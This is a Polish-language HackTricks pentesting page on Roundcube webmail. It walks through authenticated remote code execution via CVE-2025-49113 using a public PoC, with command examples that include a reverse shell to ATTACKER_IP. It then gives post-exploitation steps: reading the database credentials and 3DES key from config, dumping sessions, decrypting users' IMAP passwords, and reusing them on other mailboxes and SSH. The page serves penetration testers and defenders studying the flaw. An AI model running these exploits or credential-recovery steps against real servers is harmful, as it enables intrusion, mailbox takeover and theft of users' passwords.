Roundcube

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przegląd

Roundcube to klient webmail napisany w PHP, często wystawiony na vhostach HTTP(S) (np. mail.example.tld). Przydatne fingerprinty:

  • Źródło HTML często leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • Domyślna ścieżka aplikacji w kontenerach/VMs: /var/www/html/roundcube
  • Główny plik konfiguracyjny: config/config.inc.php

Uwierzytelnione RCE przez PHP object deserialization (CVE-2025-49113)

Dotknięte wersje (wg producenta/NVD):

  • 1.6.x przed 1.6.11
  • 1.5.x przed 1.5.10

Podsumowanie błędu

  • Parametr _from w program/actions/settings/upload.php nie jest walidowany, co umożliwia wstrzyknięcie danych kontrolowanych przez atakującego, które Roundcube później unserializes, prowadząc do gadget chain execution i remote code execution w kontekście web (po uwierzytelnieniu).

Szybka eksploatacja

  • Wymagania: poprawne dane logowania do Roundcube oraz dostępny URL UI (np. http://mail.target.tld)
  • Public PoC automatyzuje session handling, gadget crafting and upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Uwagi

  • Wyjście jest często blind; użyj sleep N, aby zweryfikować RCE
  • Powłoka zwykle działa jako www-data; w środowiskach z kontenerami spodziewaj się /.dockerenv i sieci 172.17.0.0/16

Post‑eksploatacja: odzyskiwanie haseł IMAP z sesji Roundcube

Roundcube przechowuje hasło IMAP bieżącego użytkownika w sesji (bazie danych), zaszyfrowane kluczem 3DES po stronie serwera skonfigurowanym w config.inc.php. Mając dostęp do systemu plików lub DB na hoście Roundcube możesz odzyskać hasła jawne i pivotować do innych skrzynek/usług (ponowne użycie SSH jest częste).

  1. Odczytaj DB DSN i klucz 3DES z konfiguracji

config/config.inc.php zazwyczaj zawiera:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Połącz się z DB i dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

Pole session.vars to blob Base64 wygenerowany przez Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Pierwsze 8 bajtów po Base64‑decoding to IV.

  1. Zlokalizuj pole password

Szybki sposób na znalezienie credential wewnątrz odszyfrowanej struktury to najpierw Base64‑decode pola vars i wzrokowe przejrzenie zserializowanych wpisów:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Odszyfruj przy użyciu pomocnika Roundcube

Roundcube dostarcza CLI, który używa tej samej logiki rcmail->decrypt() oraz skonfigurowanego des_key:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Ręczne deszyfrowanie 3DES-CBC (opcjonalne)
  • Format szyfrogramu: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, długość klucza 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Typowe lokalizacje

  • DB table: session (tabela users mapuje nazwy logowania na ID)
  • Config path: /var/www/html/roundcube/config/config.inc.php

Użycie operacyjne

  • Starsze wiersze session często zawierają hasła IMAP poprzednich użytkowników; odszyfruj wiele wpisów, aby wykonać ruch lateralny do innych skrzynek pocztowych
  • Przetestuj odzyskane poświadczenia przeciwko SSH lub innym usługom, jeśli podejrzewa się ponowne użycie poświadczeń

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks